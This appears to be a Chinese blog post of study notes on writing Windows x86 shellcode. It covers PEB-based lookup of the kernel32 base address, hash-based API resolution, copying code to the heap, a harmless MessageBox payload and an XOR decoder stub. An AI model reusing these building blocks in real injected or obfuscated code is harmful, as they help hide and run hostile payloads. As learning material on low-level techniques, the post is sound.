2013年6月6日 星期四

shellcode

 /*-----------获取模块在内存中的基地址-----------*/
  /*返回值   eax=module base address*/
RESOLVE_MODADDR:
 push        esi
 push        30h
 pop         ecx       //ecx=0x30
 mov         eax,dword ptr fs:[ecx]
 mov         eax,dword ptr [eax+0Ch]
 mov         esi,dword ptr [eax+1Ch]
 mov   ebx,dword ptr [esi+8]  //ebx=模块ntdll地址的VA值
 lods        dword ptr [esi]
 mov         eax,dword ptr [eax+8]  //eax=模块kernel32地址的VA值
 pop         esi
 ret         4

lods DWORD PTR es:[esi]相當於
mov eax, DWORD PTR es:[esi]
add esi, 4

mov         ebx,eax
 push        ebx     //等下esp+18h會用到

 push        73E2D87Eh         //将ExitProcess的hash值放入内存
 call        RESOLVE_PROCADDR

 mov         dword ptr [esi+_EXITPROCESS],eax   //保存获取的API地址

/*-----------获取API函数地址在内存中的基地址-----------*/
  /*返回值   esi=指向模块名字表入口基址*/

RESOLVE_PROCADDR:
 push        ebx         //ebx保存模块文件在内存的基址
 push        ebp
 push        esi
 push        edi
 mov         ebp,dword ptr [esp+18h]    //esp+18h == esi指向模块基址,执行后ebp为基址
 mov         eax,dword ptr [ebp+3Ch]    //用于定位PE头,e_lfanew
 mov         edx,dword ptr [ebp+eax+78h]   //edx=RVA DataDirectory
 add         edx,ebp        //edx=VA DataDirectory
 mov         ecx,dword ptr [edx+18h]    //ecx保存了模块导出API函数的个数
 mov         ebx,dword ptr [edx+20h]
 add         ebx,ebp
NEXT_API:
 jecxz       SEARCH_FAILED      //串操作是否处理完所有数据 //jmp if cx=0
 dec         ecx         //ecx保存了kernel32.dll中API函数的个数
 mov         esi,dword ptr [ebx+ecx*4]   //ebx指向名字表入口基址,
 add         esi,ebp        //ebp为模块基址 //從最後一個api開始取hash
 xor         edi,edi
 cld            //将DF置为0,执行lods时esi+1
/*-----------获取模块输出API函数的hash值-----------*/
  /*返回值   edi=指向模块名字表hash值*/
  /* 入口参数 esi指向PE结构中的名字表入口*/

API_HASH: 
 xor         eax,eax
 lods        byte ptr [esi]      //取byte到al中
 cmp         al,ah
 je          COMP_HASH       //取得一个完整的API名字 //如果取完hash就跳轉
 ror         edi,0Dh  //每次右循環Dh
 add         edi,eax
 jmp         API_HASH
/*-----------获取模块输出API函数的hash值-----------*/
  /*返回值   eax=指向函数地址*/
   /* 入口参数 edx指向DataDirectory表入口*/

COMP_HASH:
 cmp         edi,dword ptr [esp+14h]    //esp+14保存了存入栈中的hash值,通过计算程序中入栈指令得出14
 jne         NEXT_API
 mov         ebx,dword ptr [edx+24h]    //esi此时指向函数名字表中待查找的名称
 add         ebx,ebp        //ebp保存Kernel32.dll基址
 mov         cx,word ptr [ebx+ecx*2]
 mov         ebx,dword ptr [edx+1Ch]
 add         ebx,ebp
 mov         eax,dword ptr [ebx+ecx*4]
 add         eax,ebp         //eax取得函数地址
 jmp         SEARCH_SUCCESS
SEARCH_FAILED:
 xor         eax,eax
SEARCH_SUCCESS:
 mov   edx,ebp
 pop         edi         //用作平衡堆栈,保持出栈平衡
 pop         esi
 pop         ebp
 pop         ebx
 ret         8

MEMCPY_CODE:
 pop   eax    //eax是啥?
 mov   dword ptr [esi+_FUNCSTART], eax
 mov   dword ptr [esi+_FUNCLEN], HEAPLEN

 push  esi
//複製3個API入口到heap
 mov   ecx, 3
 mov   edi, dword ptr [esi+_BUFF]
 lea   esi, dword ptr [esi+_LOADLIBRARYA]
 rep   MOVS dword ptr [edi], dword ptr [esi]    
 pop   esi

 add   edi, 4*7          //留出一定的空间作存储用

 push  esi
 mov   ecx, dword ptr [esi+_FUNCLEN]     //edi已经跟随传送指令改变
 mov   esi, dword ptr [esi+_FUNCSTART]
 shr   ecx, 2
 rep   MOVS dword ptr [edi], dword ptr [esi]  
 pop   esi

 push  esi
 mov   ecx, dword ptr [esi+_FUNCLEN]     //避免指令字节没有按照4字节对齐的情况
 and   ecx, 0x3
 rep   MOVS byte ptr [edi], byte ptr [esi]
 pop   esi

 mov   eax, dword ptr [esi+_BUFF]
 add   eax, 4*10

 jmp   eax

//以下是User自定義shellcode部分,將會複製到heap中執行
xor         ebx,ebx
 mov   esi, dword ptr [esi+_BUFF]
 push  ebx
//典型string入堆疊法
 push        00003233h
 push        72657375h
 push        esp           //将“User32”字符串入栈
 call        dword ptr [esi+HEAP_LOADLIBRARYA]   //调用LoadLibraryA(“User32”)
 mov         dword ptr [esi+HEAP_USER32],eax    //将User32模块地址入栈
 mov         ebx,eax
 push  0x0041786f
 push  0x42656761
 push  0x7373654D        //MessageBoxA
 push  esp
 push        ebx
 call        dword ptr [esi+HEAP_GETPROCADDRESS]
 mov         dword ptr [esi+HEAP_MESSAGEBOXA],eax

 push  0000007Eh
 push        7E7E7E7Ah
 push        68646D43h
 push  7E7E7E7Eh        //~~~~Cmdhz~~~~
 mov         dword ptr [esi+HEAP_CMDHZ], esp
 push  216fh
 push  6c6c6548h
 mov         dword ptr [esi+HEAP_HELLO], esp
 push  0
 push  dword ptr [esi+HEAP_HELLO]
 push  dword ptr [esi+HEAP_CMDHZ]
 push  0
 call        dword ptr [esi+HEAP_MESSAGEBOXA]     //调用MessageBox函数
 push        0     
 call        dword ptr [esi+HEAP_EXITPROCESS]     //调用ExitProcess退出进程

//解码shellcode的代码
void  DecryptSc()
{
   PROC_BEGIN    //定义开始标志//0x90

 __asm
   {
  jmp         Decode_End

getEncCodeAddr:
  pop         edx
  dec         edx
  xor         ecx,ecx
  mov         cx, 0x13E //这里取得待解码的shellcode的长度(0x13E)
                                    //????
Decrypt_loop:
  xor         byte ptr [edx+ecx],96h        //异或0x96解码
  loop        Decrypt_loop

  jmp         Decode_OK
Decode_End:
  call        getEncCodeAddr 
Decode_OK:   
          PROC_END      //定义结束标志
   }
}


沒有留言:

張貼留言